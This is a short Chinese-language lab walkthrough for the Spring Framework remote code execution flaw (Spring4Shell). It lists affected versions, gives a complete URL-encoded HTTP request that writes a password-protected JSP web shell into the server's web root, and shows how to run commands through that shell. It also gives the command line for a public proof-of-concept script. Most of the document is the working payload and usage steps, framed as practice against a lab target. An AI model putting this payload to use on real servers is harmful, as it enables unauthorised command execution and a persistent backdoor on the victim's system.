名称: Spring Framework 远程命令执行漏洞
描述: Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。 未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。 该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。
影响版本:
Spring Framework < 5.3.18
Spring Framework < 5.2.20
打开靶场后,抓取访问页面的数据包
把数据包的内容修改成以下内容再发包;如果点击发送会卡住,且不成功。那就右键chenge切换一下请求模式,切换成POST再试一试
Host字段的值也记得要改成你自己的地址
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.91.129:53151
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
再去访问这个路径: cmd参数的值即是要执行的命令
http://192.168.91.129:53151/tomcatwar.jsp?pwd=j&cmd=ls%20tmp
也可以直接使用自动化工具:
https://github.com/BobTheShoplifter/Spring4Shell-PoC
python3 poc.py --url=http://192.168.91.129/
对着这个地址 直接ctrl+鼠标左键点击访问,也可以的。